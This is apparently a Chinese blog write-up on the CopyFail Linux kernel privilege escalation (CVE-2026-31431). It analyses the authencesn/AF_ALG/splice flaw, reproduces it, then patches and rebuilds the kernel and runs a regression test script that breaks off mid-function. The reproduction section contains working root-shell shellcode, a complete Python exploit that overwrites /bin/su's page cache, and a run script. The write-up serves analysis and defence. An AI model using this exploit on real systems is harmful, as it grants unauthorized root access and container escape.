互联网上每隔一段时间就会突然爆一波大的,上一次同规模和影响的漏洞还是log4j的RCE。这篇文章的专有名词会特别多,准备好了就开始吧。

今年(2026年)4月份,Theori安全团队通过 AI 辅助安全分析系统Xint发现并公开了一个易于利用,规模庞大,危险系数极高的内核本地权限提升及容器逃逸漏洞,名称为CopyFail,CVE编号 CVE-2026-31431。该漏洞直接影响了近十年来设备,影响版本从内核版本4.14开始,直到2604的版本修复 6.18.22 或 6.19.12。该漏洞是 Linux 内核 authencesn 加密模板中的一个逻辑错误。它允许非特权的本地用户触发对系统中任何可读文件的页面缓存进行确定性、受控的4字节写入。一个732字节的Python脚本可以编辑setuid二进制文件,并几乎在2017年以来发布的所有Linux发行版上获得root权限。1

本文将对该漏洞的攻击流程和原理进行分析,并通过实际实验来复现和手动修复该漏洞。

注意:


本文涉及到漏洞利用,请注意在实践过程中的法律问题。
根据《中华人民共和国刑法》第286条:
违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处5年以下有期徒刑或者拘役;后果特别严重的,处5年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第1款的规定处罚。

1. 漏洞原理分析

1.1 核心因素

1.1.1 AEAD in-place 优化

2017年,Linux内核4.142中引入了一个新的AEAD(Authenticated Encryption with Associated Data,关联数据认证加密)优化,该优化允许加密/解密操作在内存中就地进行,而无需拷贝到特权空间中进行。

简单来说,该项优化为了节省内存拷贝的开销,将加密请求的源缓冲区和目标缓冲区只想同一个内存分散列表(scatterlist)在处理特定加密算法组合时,内核在验证数据完整性前,会允许算法将一些临时数据写入目标缓冲区。

截图来自于 Linux 4.14 内核源代码注释

后续在漏洞修复一章,我们还会深入对Linux内核源代码进行分析,确定具体产生问题的位置,并尝试着手修复。

1.1.2 用户态加密接口 AF_ALG 与 splice() 零拷贝

当普通用户使用 splice()3 将一个只读文件传入 AF_ALG4 socket 时,内核为了提升效率,不会直接复制文件内容,而是将该文件在内核中的全局页缓存(Page Cache)页面引用传递给AEAD的内存分散列表。

1.2 特性利用

基于上述两个特性,攻击者可以让内核对无权修改的文件进行解密操作,具体可以分为五个步骤:

  1. 缓存目标文件:攻击者可以选择一个拥有setuid权限5的核心系统工具(下面以 /bin/sh 为例),普通用户对其只有r和x权限。攻击者先读取该文件,使其被加载进系统的Page Cache.
  2. 设置 AF_ALG:攻击者可以打开一个 AF_ALG socket,并绑定到触发该漏洞的加密模板,比如 authencesn6,该接口为用户态接口,所以无需特权。
  3. 构造payload:攻击者可以通过 sendmsg() 向 socket 发送一组经过构造的AAD,在AAD的4-7字节7处放入一段shellcode。然后攻击者可以利用 splice() 向只读的 /bin/sh 传入 socket,通过调整偏移参数8,让内核的目标写入指针正好对准内存中的 /bin/sh 的 .text 中需要篡改的位置,通过滑动窗口的多轮写入操作来修改超过4字节的数据。
  4. 触发写入:攻击者调用 recvmsg() 触发内核解密操作;因为AEAD的in-place优化,来源和目的是同一块内存,所以内核会将 /bin/sh 在缓存页中的只读页面作为加解密操作的目标缓冲区;算法在运行过程中,会直接把 AAD 中第 4-7 字节那 4 个字节的受控数据,当做临时 scratch 数据强行写入目标页缓存中。系统尝试对数据进行解密,即使解密失败,上述操作也会在解密失败前永久性9地落在页缓存里。
  5. 提权:经过上述步骤,系统内存中的全局页缓存已经被污染了,攻击者运行 /bin/sh 内核就会直接执行已经被篡改的代码,由于 /bin/sh 拥有setuid属性10,注入的shellcode会以root权限执行,完成提权。

这里讲得比较简单,但在后面的修复章节中会再基于源代码详细说明一次发生流程。

1.3 严重漏洞

Copy Fail之所有拥有重大威胁,是因为其运行过程简单直接,几乎100%成功,没有额外步骤,也没有竞争,甚至各发行版、各内核版本只需要同一套exp代码11即可完成攻击。同时由于页缓存是由宿主机内核全局管理的,所以如果一个Kubernetes 集群或者 Docker 容器共享了宿主机的内核,容器内的普通用户通过该漏洞污染了页缓存,整个宿主机以及同宿主机上的其他所有容器都会同时被污染,以此来完成容器逃逸。同时由于该攻击直接对内存操作,也可以避免部分安全软件对硬盘进行可疑文件扫描。

2. 漏洞复现

2.1 环境准备

实际没有什么好准备的,我有一台新装的用于日常渗透测试的kali虚拟机,在写文章时才发现其系统内核刚好是最后一个支持该漏洞的版本 6.19.11。

打了这么久其他设备,是该打打你了

脚本使用python3环境运行,不需要安装额外依赖。不过构造payload需要先构造一个用于内核权限执行的恶意程序,最简单的就是

同时后续步骤会涉及到内核修复,需要编译Linux内核源代,以及一份需要patch的源代码,干脆现在顺便给准备好,具体步骤如下:

1
2
3
4
5
6
7
# 准备编译环境
sudo apt update
sudo apt install -y build-essential libncurses-dev bison flex libssl-dev libelf-dev bc git pahole debhelper-compat libdw-dev

# 下载内核源码
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.19.11.tar.xz
tar -xf linux-6.19.11.tar.xz

以及确保Linux权限控制是正常的:

毕竟你也不想折腾半天,最后发现已经有坏小子污染过你的su了吧 :)

2.2 构造exp

相比其他复杂的内核提权攻击方式,Copy Fail的exp构造非常简单,使用Python进行一些socket操作将恶意程序注入即可。

官方有提供一段示例exp,但由于追求机制的小体积,所以可读性较差,不过由于原理比较简单,我们可以尝试自己实现一个利用脚本。

根据 1.2 利用特性 一节,我们可以知道,其最根本的原理是将一段代码注入到Page Cache中,并让系统以高权限执行这段代码,所以我们需要先构建一段用于注入的、让系统来执行的“恶意代码”。恶意代码的思路很简单,就是让系统把当前用户切换为root用户,然后再以root用户的身份进入shell,用C语言构建代码如下:

1
2
3
4
5
6
7
#include <unistd.h>

int main(void) {
    setuid(0);
    execve("/bin/sh", NULL, NULL);
    _exit(0);
}

在这行代码中,setuid是用来设置用户的,在这里使用setuid是为了把 real uid12、effective uid13、saved uid14 都设置成root,防止因为 real uid 不是root带导致权限受限或降权。

随后通过 execve("/bin/sh", NULL, NULL) 来将进程切换到 /bin/sh,这里也就是命令执行的核心点,你也可以替换成其他想要执行的命令,不过直接拿下shell更是想执行什么就能执行什么了。execve 是Unix体系系统的核心系统调用,用于用新程序替换当前进程映像,所以实际上在将这段代码注入到 /bin/su 中后,再运行 su 时系统执行到此处后 su 的进程就被替换成 sh 了,最后的exit(0)在正常情况下是不会被执行的,除非execve执行错误,则会继续执行exit并退出程序,这里主要是为了兜底,防止execve执行失败后继续执行被污染的代码导致程序或系统崩溃。

不过如果真的直接使用C来写,编译器和链接器可能会额外加很多没用的东西,payload越长,对 su 的污染也就越大,同时也就越有可能产生副作用。所以我们可以尝试使用汇编来写,能小不少。

把上面那段C代码翻译成汇编,就变成下面这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
global _start

section .text
_start:
    xor eax, eax
    xor edi, edi
    mov al, 0x69
    syscall

    lea rdi, [rel path]
    xor esi, esi
    push 0x3b
    pop rax
    cdq
    syscall

    xor edi, edi
    push 0x3c
    pop rax
    syscall

path:
    db "/bin/sh", 0

同样是三个系统调用,使用nasm进行编译,编译完是 ELF64 目标文件,再使用ld将中间文件连接成最终的ELF可执行文件,具体命令如下:

1
2
nasm -f elf64 ./payload.asm -o ./payload.o
ld -nostdlib -static -s --build-id=none -e _start -o ./payload.elf ./payload.o

简单解释一下其中各个参数的意思:

  • -f elf64:把汇编编译成 ELF64 目标文件 .o
  • -e _start:指定入口点是 _start
  • -nostdlib:不链接标准库
  • -static:静态可执行
  • -s:去掉符号
  • --build-id=none:不生成 build-id,减少额外内容

直接使用汇编会比C语言编译出来小很多,足足小了一万字节!

虽然相比官方提供的极简压缩版也很大就是了

接下来我们需要编写一个利用脚本,并想办法把这个“恶意程序”注入到 /bin/su 的Page Cache中,我选择使用我最熟悉的Python来完成这个任务。

利用脚本的流程大概是:读取payload.elf -> 填充payload -> 将 /bin/su 加载到内存中 -> 初始化 AF_ALG socket -> 将AF_ALG socket绑定到AEAD的authencesn加密模板 -> 构建假Key -> 发送消息 -> 初始化 AF_ALG socket -> ...-> 循环操作直接到结束。

首先是读取payload部分,直接使用open读取文件,然后在payload末尾填充0,直到对齐4字节15,代码如下:

1
2
3
4
5
6
7
8
9
import os

CHUNK_SIZE = 4
PAYLOAD_PATH = os.path.join(os.path.dirname(__file__), "payload.elf")

with open(PAYLOAD_PATH, mode="rb") as payload_file:
    PAYLOAD = payload_file.read()

PAYLOAD += b"\x00" * ((CHUNK_SIZE - len(PAYLOAD) % CHUNK_SIZE) % CHUNK_SIZE)

然后是加载 su,同时是使用open读取一下文件。完成文件读取后,使用一个循环,按每四个字节一组的方式向su中写入payload,每写一次增加4字节偏移,具体代码如下:

1
2
3
4
5
with open("/bin/su", mode="rb") as target_file:
    for target_offset in range(CHUNK_SIZE, len(PAYLOAD) + CHUNK_SIZE, CHUNK_SIZE):
        chunk = PAYLOAD[target_offset - CHUNK_SIZE : target_offset]
        # pwn_chunk用于单次注入payload的chunk,下面会介绍到
        pwn_chunk(target_file, chunk, target_offset)

随后是重点的pwn_chunk部分,该部分实现将数据写入到su,先看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import socket
import struct

def pwn_chunk(target_file, replacement_chunk, target_offset):
    # 初始化 AF_ALG 加密 socket
    with socket.socket(family=socket.AF_ALG, type=socket.SOCK_SEQPACKET) as sock:
        sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

        key = bytes.fromhex("08 00 01 00 00 00 00 10" + "00" * 32)
        sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)
        sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, struct.pack("I", 4))

        with sock.accept()[0] as sock_conn:
            # 利用 sendmsg 埋入 4 字节替换内容
            control_aad = b"AAAA" + replacement_chunk
            sock_conn.sendmsg(
                [control_aad],
                [
                    (socket.SOL_ALG, socket.ALG_SET_OP, socket.ALG_OP_DECRYPT.to_bytes(4, "little")),
                    (socket.SOL_ALG, socket.ALG_SET_IV, b"\x10" + b"\x00" * 19),
                    (socket.SOL_ALG, socket.ALG_SET_AEAD_ASSOCLEN, b"\x08" + b"\x00" * 3),
                ],
                socket.MSG_MORE,
            )

            # 利用 splice 将目标只读文件的页缓存引用送入 AF_ALG socket
            target_file.seek(0, os.SEEK_SET)
            pipe_r, pipe_w = os.pipe()
            try:
                remaining = target_offset
                while remaining:
                    moved = os.splice(target_file.fileno(), pipe_w, remaining)
                    if moved == 0:
                        break

                    sent = 0
                    while sent < moved:
                        sent += os.splice(pipe_r, sock_conn.fileno(), moved - sent)

                    remaining -= moved
            finally:
                os.close(pipe_r)
                os.close(pipe_w)

            # 触发内核写入,忽略预期内的 HMAC 校验失败
            try:
                sock_conn.recv(CHUNK_SIZE + target_offset)
            except OSError:
                pass

首先是建立 socket 连接部分。脚本使用 with socket.socket 创建一个 AF_ALG socket。AF_ALG 是 Linux 暴露给用户态的内核加密接口,不是普通网络 socket。随后通过 sock.bind 将这个 AF_ALG socket 绑定到具体的 AEAD 算法 authencesn(hmac(sha256),cbc(aes))。之所以选择这个算法,是因为 CopyFail 的关键触发点就在 authencesn 的解密路径中:它会使用 destination scatterlist 作为临时 scratch 区,并在特定偏移写入 4 字节。

接下来构造一个Key,然后通过setsockopt设置key,这个Key虽然没有什么作用,但在加密过程中也是必不可少的。这个 key 主要是为了让内核接受并初始化这个 AEAD 算法实例;没有 key,后续 AEAD 请求无法正常进入目标处理路径。随后脚本通过 ALG_SET_AEAD_AUTHSIZE 设置认证 Tag 长度为 4 字节。AAD 长度会在后面的 sendmsg 控制消息中通过 ALG_SET_AEAD_ASSOCLEN 设置。

然后是发送数据的部分,这一步是整个漏洞触发的核心。脚本首先构造一个 8 字节 AAD,前4字节是占位数据,后4字节是我们需要注入页缓存的内容。sendmsg 用于把 AAD 和控制参数发送给内核。控制参数中,第一个指定本次 AEAD 操作为解密;第二个设置 IV;第三个通过 ALG_SET_AEAD_ASSOCLEN 设置 AAD 长度为 8 字节。socket.MSG_MORE 表示后续还会继续发送数据,因此内核此时不会立刻完成本次 AEAD 请求,而是等待后续输入。

随后脚本把 /bin/su 的读取位置重置到文件开头,并创建一个 pipe。接着使用 splice 先把 /bin/su 前 target_offset 字节从文件描述符搬运到 pipe,再从 pipe 搬运到 AF_ALG 请求 socket。这里的重点不是普通复制数据,而是利用 splice 的零拷贝特性,让目标文件的页缓存页以引用形式进入内核 crypto 的输入 scatterlist。

最后调用 recv 触发 AEAD 解密。脚本构造的数据本身并不是合法的认证加密数据,因此 HMAC 校验会失败,Python 层可能抛出 OSError。但 CopyFail 的关键在于,authencesn 的4字节 scratch 写发生在错误返回之前;因此即使解密最终失败,本轮 AAD 中携带的4字节 payload chunk 也已经被写入 /bin/su 的页缓存。至于系统抛出的OSError忽略掉即可,不会影响到利用效果。

脚本构造完成了,接下来我们可以在系统上试试效果了,我简单写了一个脚本来自动编译汇编代码、自动运行利用脚本,然后调用su提权,具体如下:

1
2
3
4
5
6
7
8
9
#!/bin/sh
set -e

# 需要安装nasm和ld
nasm -f elf64 ./payload.asm -o ./payload.o
ld -nostdlib -static -s --build-id=none -e _start -o ./payload.elf ./payload.o
rm -f ./payload.o
python3 ./copyfail.py
su

当然,你也可以写一个makefile来执行,我是觉得这么几行没必要用make了。

成功提权

不过Page Cache被污染后不会被刷新,如果要恢复su功能只能重启一下了。

3. 修复漏洞与更新内核

3.1 修复内核源代码

千万不要尝试直接替换掉需要修改的几个文件...

既然我们已经知道了漏洞产生的原因,那当然要手动修复一下了!基于当前版本的内核源代码,修复漏洞后编译再更新到kali系统中,用上我们自己加固的系统内核才算放心 :) 不过为了保证稳定性,修复就不乱造轮子了,按照官方的建议来,毕竟这个系统我后续还得用呢,别再搞出一些莫名其妙的问题出来...

同时,由于不同内核版本代码可能有差别,我在文章当中就不再放大段源代码出来了,主要结合代码说明一下其功能和流程。

首先我们需要复制当前内核的配置,避免新内核缺少驱动之类的,配置位于 /boot 目录下:

1
2
3
4
# 按照你自己内核版本来
cp /boot/config-6.19.11+kali-amd64 .config
# 如果 make olddefconfig 提示新选项,一般直接回车使用默认值即可,不过出问题了我可不管..
make olddefconfig

如果成功,应该会有一句 # configuration written to .config

接下来我们着手修改源代码,涉及到五个文件,由于我们是直接通过wget下载的,没有使用版本管理,所以可以手动备份一下:

1
2
3
4
5
cp crypto/af_alg.c crypto/af_alg.c.bak
cp crypto/algif_aead.c crypto/algif_aead.c.bak
cp crypto/algif_skcipher.c crypto/algif_skcipher.c.bak
cp include/crypto/if_alg.h include/crypto/if_alg.h.bak
cp crypto/authencesn.c crypto/authencesn.c.bak

当然,如果你懒得备份也没啥问题,反正代码都可以从网上下载到。

官方修复的版本哈希值是 a664bf3d603d,我们直接参考这个来改,具体改动可以在 linux 内核的 Github 镜像上找到,所谓修复工作实际上就是回滚到 72548b093ee3 之前的版本,将就地解密(in-place)改成异地解密(out-of-place)16,在修改之前,我们先来理解一下这几个文件和涉及到的几段代码分别在做什么。

不过不要照抄主线修复的代码更新,可以借鉴思路,毕竟有些东西牵一发动全身,很有可能主线某个其他功能进行了改动,而你自己的内核版本的源代码中没有,但是这个功能会影响到我们现在需要修改的代码,这种情况下如果你直接照着主线代码修改,编译后运行可能就会出错。同时,修复很有可能并不是在一个commit中完成的,或者说其他commit的修改很有可能会对功能产生影响,比如说我在进行代码修复时,只按照 ce42ee42 提交中的记录对四个文件进行修改,编译安装后虽然不会再对exp生效,但同时也破坏了内核原本正常的加密功能,后续排查发现是因为另一个提交记录中对crypto/authencesn.c文件也进行了修改,这些问题排查起来还挺麻烦的。

不过如果实在觉得麻烦,也可以直接下载已经修复该漏洞的稳定版内核编译安装。

3.1.1 漏洞利用的数据来源

下面来基于数据流转的流程来分析一下基础改动的地方17,我们可以先回顾一下 1.2 节,先来梳理一下CopyFail的数据流转流程:首先通过AF_ALG创建一个用户态可以访问的内核加密socket;然后通过sendmsg()发送AAD和控制参数,让内核进行AEAD解密,最后通过 splice() 把 /bin/su 的内容送入这个加密socket,由于 splice 的特性,su并不会从硬盘中再读取一份,然后将数据送过去,而是直接把其所在页缓存页发过去,再加上解密的程序存在 in-place 特性,这样导致在写入时,拥有高权限的内核解密程序将错误的数据写入到了 su 的页缓存位置。

所以触发漏洞时,数据进入内核的路径大概是: 硬盘文件 -> 页缓存页 -> 通过splice -> AF_ALG 输入散列表

3.1.2 Tag链接导致只读变可写

AEAD解密输入一般是如下格式:

1
AAD || 密文 CT || 认证标签 Tag

在漏洞发生的内核版本中,AEAD为了优化性能,将其解密过程尽量 in-place 了,也就是解密前和解密后复用同一套scatterlist18,同时直接把输入散列表里指向 Tag 的部分接到了输出散列表的末尾19。如果将 su 的页缓存页作为Tag传入,就会被连接到可写入20的输出数据后面:

1
2
3
4
5
6
输入(TX):
[AAD] -> [CT] -> [Tag: /bin/su page cache]
输出(RX):
[AAD copy] -> [CT copy]
↓ 链接Tag
[AAD copy] -> [CT copy] -> [Tag(su页缓存页)]

这一步也是CopyFail的核心,让只读的页缓存页被放到可写入的地方。

3.1.3
1
authencesn
的四字节写入

authencesn算法在处理 ESN 序列号时,会把输出位置作为临时scratch区,位置位于输出偏移的 assoclen + cryptlen 处,正常情况下,这只是写到调用方自己的输出缓冲区中,但是由于将su的页缓存页作为Tag输入到了输出缓冲区,所以这四个字节就有可能写到su的页缓存页中,大概流程总结为: payload的四个字节 -> authencesn scratch 写数据 -> 输出缓冲区(su页缓存页)

这也就是为什么需要将payload对齐四字节,并且通过循环写入,每次写四字节。经过过次循环写入后,完整的payload就会覆盖掉su的内容。

3.1.4 修复方案

执行修复的第一步,就是让Tag不再链接到RX后面,相关代码的af_alg_count_tsgl函数中有一个offset参数,是用于让调用者可以从TX的某个中间位置开始取,漏洞版本的AEAD利用该参数将Tag单独取出。

修复方案中offset参数被删除,要求只从 TX 开头取一段连续输入,不能再指定 dst_offset 去抽取后半段,代码如下:

1
2
3
4
/* 源代码来自于 6.19.12 中的代码,下同 */
unsigned int af_alg_count_tsgl(struct sock *sk, size_t bytes);
void af_alg_pull_tsgl(struct sock *sk, size_t used,
                      struct scatterlist *dst);

然后是核心功能的修复,也就是不再进行 in-place 就地解密,而是采用之前的方案,req->src和req->dst不再指向同一个散列表,而是使用单独的散列表21进行输出,只有AAD数据会被从输入复制到输出,代码如下:

1
2
3
4
5
6
7
8
9
10
11
processed = used + ctx->aead_assoclen;
areq->tsgl_entries = af_alg_count_tsgl(sk, processed);
if (!areq->tsgl_entries)
        areq->tsgl_entries = 1;

areq->tsgl = sock_kmalloc(sk, array_size(sizeof(*areq->tsgl),
                                         areq->tsgl_entries),
                          GFP_KERNEL);
sg_init_table(areq->tsgl, areq->tsgl_entries);
af_alg_pull_tsgl(sk, processed, areq->tsgl);
tsgl_src = areq->tsgl;

新的数据流转如下:

1
2
3
4
5
TX SGL: AAD || CT || Tag
    ↓ 只读
AEAD 算法
    ↓ 写入
RX SGL: AAD || 明文输出

即使将 /bin/su 的页缓存页传入 TX SGL,其也只作为 source 被读取,而不再作为 destination 被写入。对只读文件的写入也在这一步被彻底阻断。

3.2 内核编译与安装

完成代码修改后22,接下来执行编译,注意最好不使用root用户:

1
make -j"$(nproc)" bindeb-pkg LOCALVERSION=-copyfail-fix KDEB_PKGVERSION=6.19.11-copyfail-fix

接下来就是漫长的等待...我花了将近1个小时,中间还遇到硬盘空间不足,把虚拟机的硬盘扩了一下。

如果看到这段信息说明编译完成:

1
2
3
4
5
6
7
dpkg-deb: building package 'linux-image-6.19.11-copyfail-fix' in '../linux-image-6.19.11-copyfail-fix_6.19.11-copyfail-fix_amd64.deb'.
dpkg-deb: building package 'linux-image-6.19.11-copyfail-fix-dbg' in '../linux-image-6.19.11-copyfail-fix-dbg_6.19.11-copyfail-fix_amd64.deb'.
 dpkg-genbuildinfo --build=binary -O../linux-upstream_6.19.11-copyfail-fix_amd64.buildinfo
 dpkg-genchanges --build=binary -O../linux-upstream_6.19.11-copyfail-fix_amd64.changes                      
dpkg-genchanges: info: binary-only upload (no source code included)                                          
 dpkg-source --after-build .
dpkg-buildpackage: info: binary-only upload (no source included)

编译完成后返回上一级目录,应该能看到几个编译出来的deb包,其中 linux-headers-* 和 linux-image-* 是有用的,不过 linux-image-* 一般会有两个,其中一个带dbg,这个是用来调试的,我们需要安装的是不带dbg的内核。

可以选择不生成调试镜像,我忘选了

强烈建议在继续进行下一步前打一个快照

使用dpkg命令来安装内核程序:

1
2
3
sudo dpkg -i linux-image-6.19.11-copyfail-fix_6.19.11-copyfail-fix_amd64.deb
sudo dpkg -i linux-headers-6.19.11-copyfail-fix_6.19.11-copyfail-fix_amd64.deb
sudo update-grub
跟装软件是一样的,dpkg会帮你处理好内核、模块、配置和安装脚本

完成后重启系统,能正常进系统就没问题23,然后使用 uname -r 可以看到已经是使用的新内核了:

3.3 功能验证

完成新内核安装后还需要对修复的效果进行验证,一般分为两个步骤,一是需要确定利用脚本无法再利用该漏洞,二是要确认修复操作没有破坏内核模块本身的功能。两个步骤内容不算多,就不再分小节了。

首先是漏洞测试,再跑一次利用脚本,发现su没有被污染:

系统安全性提升了有感觉吗

至于对系统内核模块本身的测试,我就懒得再写测试脚本了,直接让Codex-5.3生成了一个,反正这种不需要设计的,单独用于系统功能测试的代码,AI应该是可以独立实现的。

完整代码如下,同时我让AI增加了详细的注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
#!/usr/bin/env python3

"""
CopyFail 修复后 AF_ALG/authencesn 回归测试脚本。

测试目标:
1. 确认已打补丁内核仍然支持 authencesn(hmac(sha256),cbc(aes))。
2. 确认普通 AF_ALG 内存输入路径可以正常加密和解密。
3. 确认 splice() 输入路径可以正常解密,这正是 CopyFail 修复重点涉及的数据路径。
4. 确认认证失败时,作为输入源的只读临时文件可见内容不会被修改。

该脚本不会尝试修改 setuid 文件,也不包含提权 payload;它只使用临时文件验证功能回归。
"""


import argparse
import errno
import hashlib
import os
import socket
import struct
import sys
import tempfile


# CopyFail 利用的关键 AEAD 算法。这里直接测试同一个算法,避免只验证普通 AEAD。
ALG_NAME = "authencesn(hmac(sha256),cbc(aes))"

# authsize 设为 4,与公开 PoC 中常见配置一致,也能覆盖 authencesn 的 Tag 处理路径。
AUTH_SIZE = 4

# authencesn 的 ESN 逻辑会读取 AAD 前 8 字节,所以 AAD 长度至少需要是 8。
ASSOC_LEN = 8

# 底层加密算法是 CBC(AES),明文长度必须按 AES 块大小对齐。
BLOCK_SIZE = 16

# authencesn(auth, enc) 的 key 格式包含 authenc 头部和具体算法 key。
# 这里使用固定测试 key,目的只是生成一组自洽的加密/解密输入。
KEY = bytes.fromhex("08 00 01 00 00 00 00 10" + "00" * 32)

# IV 长度为 AES 块大小。测试不关注随机性,只要求加密和解密使用同一 IV。
IV = b"\x00" * 16

# AAD 前 8 字节用于覆盖 authencesn 的 ESN 序列号重排逻辑。
AAD = bytes.fromhex("11 22 33 44 55 66 77 88")

# 固定明文用于功能回归,后续补零到 CBC 块大小。
PLAINTEXT = b"CopyFail patched authencesn regression test"
PLAINTEXT += b"\x00" * ((BLOCK_SIZE - len(PLAINTEXT) % BLOCK_SIZE) % BLOCK_SIZE)

# 不同 Python 版本暴露的 AF_ALG 常量可能不完整,缺失时使用 Linux uapi 中的数值。
SOL_ALG = getattr(socket, "SOL_ALG", 279)
ALG_SET_KEY = getattr(socket, "ALG_SET_KEY", 1)
ALG_SET_IV = getattr(socket, "ALG_SET_IV", 2)
ALG_SET_OP = getattr(socket, "ALG_SET_OP", 3)
ALG_SET_AEAD_ASSOCLEN = getattr(socket, "ALG_SET_AEAD_ASSOCLEN", 4)
ALG_SET_AEAD_AUTHSIZE = getattr(socket, "ALG_SET_AEAD_AUTHSIZE", 5)
ALG_OP_DECRYPT = getattr(socket, "ALG_OP_DECRYPT", 0)
ALG_OP_ENCRYPT = getattr(socket, "ALG_OP_ENCRYPT", 1)


class TestFailure(RuntimeError):
    """用于区分测试断言失败和普通 Python 异常。"""

    pass


def log_ok(message):
    """输出通过信息,便于在目标主机日志中定位每个测试阶段。"""
    print(f"[通过] {message}")


def log_step(message):
    """输出当前测试步骤。"""
    print(f"[测试] {message}")


def require_linux_afalg():
    """检查脚本运行环境是否具备执行 AF_ALG/splice 回归测试的基本条件。"""

    if not sys.platform.startswith("linux"):
        raise TestFailure("当前不是 Linux 环境,AF_ALG/authencesn 回归测试无法运行")
    if not hasattr(socket, "AF_ALG"):
        raise TestFailure("当前 Python 不支持 socket.AF_ALG")
    if not hasattr(os, "splice"):
        raise TestFailure("当前 Python 不支持 os.splice,需要 Python 3.10+")


def alg_sock():
    """创建并配置一个 AF_ALG AEAD socket。

    返回的是监听/父 socket,后续每次具体操作都通过 accept() 得到 request socket。
    如果算法不存在或 algif_aead 未启用,这里会给出更明确的测试失败原因。
    """


    sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    try:
        sock.bind(("aead", ALG_NAME))
        sock.setsockopt(SOL_ALG, ALG_SET_KEY, KEY)
        sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, struct.pack("I", AUTH_SIZE))
        return sock
    except OSError as exc:
        sock.close()
        if exc.errno in (errno.ENOENT, errno.ENODEV, errno.EOPNOTSUPP, errno.EINVAL):
            raise TestFailure(f"内核不支持 {ALG_NAME} 或 algif_aead 未启用: {exc}") from exc
        raise


def control_messages(op):
    """生成一次 AEAD 操作所需的 sendmsg 控制消息。

    op 决定本次操作是加密还是解密;IV 和 AAD 长度必须随每次请求一起传给内核。
    """


    return [
        (SOL_ALG, ALG_SET_OP, struct.pack("I", op)),
        (SOL_ALG, ALG_SET_IV, struct.pack("I", len(IV)) + IV),
        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", ASSOC_LEN)),
    ]


def alg_operation_memory(op, payload, expected_len):
    """使用普通内存 buffer 作为输入执行一次 AF_ALG 操作。

    这个路径不经过 splice(),用于先确认 authencesn 算法本身的加密/解密功能正常。
    """


    with alg_sock() as sock:
        with sock.accept()[0] as conn:
            conn.sendmsg([payload], control_messages(op))
            result = conn.recv(expected_len)
    if len(result) != expected_len:
        raise TestFailure(f"AF_ALG 返回长度异常,期望 {expected_len},实际 {len(result)}")
    return result


def splice_exact(src_fd, dst_fd, count):
    """通过 pipe 将 src_fd 的指定字节数完整 splice 到 dst_fd。

    CopyFail 的关键输入路径就是 file -> pipe -> AF_ALG request socket。
    这里显式检查每一步是否推进,避免异常 fd 行为导致死循环或静默少传数据。
    """


    pipe_r, pipe_w = os.pipe()
    try:
        remaining = count
        while remaining:
            moved = os.splice(src_fd, pipe_w, remaining)
            if moved == 0:
                raise TestFailure("splice 读取到 EOF,输入长度不足")

            sent = 0
            while sent < moved:
                chunk = os.splice(pipe_r, dst_fd, moved - sent)
                if chunk == 0:
                    raise TestFailure("splice 写入到目标 fd 时没有推进")
                sent += chunk

            remaining -= moved
    finally:
        os.close(pipe_r)
        os.close(pipe_w)


def alg_decrypt_with_splice(aad, path, offset, count, expected_len):
    """使用 sendmsg 发送 AAD,再用 splice() 发送 CT || Tag 并触发 AEAD 解密。

    修复后的 algif_aead 会把 splice 进入的 TX SGL 作为 source,把 recv buffer
    作为 destination。这个函数专门覆盖该 out-of-place 数据流。
    """


    with alg_sock() as sock:
        with sock.accept()[0] as conn:
            # MSG_MORE 表示 AEAD 输入还没结束,后续 splice 的文件内容会继续接到本次请求。
            conn.sendmsg([aad], control_messages(ALG_OP_DECRYPT), socket.MSG_MORE)
            with open(path, "rb", buffering=0) as src:
                src.seek(offset)
                splice_exact(src.fileno(), conn.fileno(), count)
            result = conn.recv(expected_len)
    if len(result) != expected_len:
        raise TestFailure(f"splice 解密返回长度异常,期望 {expected_len},实际 {len(result)}")
    return result


def sha256_file(path):
    """计算文件可见内容的 SHA-256,用于检查失败解密后源文件是否发生变化。"""

    digest = hashlib.sha256()
    with open(path, "rb") as file:
        for chunk in iter(lambda: file.read(1024 * 1024), b""):
            digest.update(chunk)
    return digest.hexdigest()


def write_temp_file(data, keep_temp):
    """写入临时测试文件并改成只读。

    只读属性用于贴近 CopyFail 中“可读但不应可写的源文件”语义。
    """


    tmp = tempfile.NamedTemporaryFile(prefix="copyfail-authencesn-", delete=False)
    try:
        tmp.write(data)
